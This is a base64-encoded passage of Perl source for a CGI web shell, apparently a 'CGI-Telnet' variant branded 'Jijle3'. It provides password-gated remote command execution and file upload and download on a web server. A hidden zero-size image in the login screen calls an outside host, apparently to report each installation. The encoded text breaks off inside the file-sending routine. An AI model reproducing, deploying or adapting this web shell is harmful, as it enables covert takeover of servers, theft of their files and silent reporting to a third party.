LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7DQoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+Q0dJIFNoZWxsPC90aXRsZT4NCiRIdG1sTWV0YUhlYWRlcg0KDQoNCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0KPHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrIj5DR0kgU2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPC9mb250PjxoMT4NCkNHSSBTaGVsIH4gSmlqbGUzDQo8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxuZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIzIj4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij48L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBhc3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0Kew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0KCXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAiIHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRfXG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMNCgl7DQoJCSMgZW5jb2RlIHRoZSBmaWxlIGxpbmsgc28gd2UgY2FuIHNlbmQgaXQgdG8gdGhlIGJyb3dzZXINCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOw0KCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7DQoJCSRIdG1sTWV0YUhlYWRlciA9ICI8bWV0YSBIVFRQLUVRVUlWPVwiUmVmcmVzaFwiIENPTlRFTlQ9XCIxOyBVUkw9JERvd25sb2FkTGlua1wiPiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCg0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwNCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lg0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlDQojIGJyb3dzZXIsIHNvIHRoYXQgaXQgY2FuIGJlIGRvd25sb2FkZWQgYnkgdGhlIHVzZXIuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGV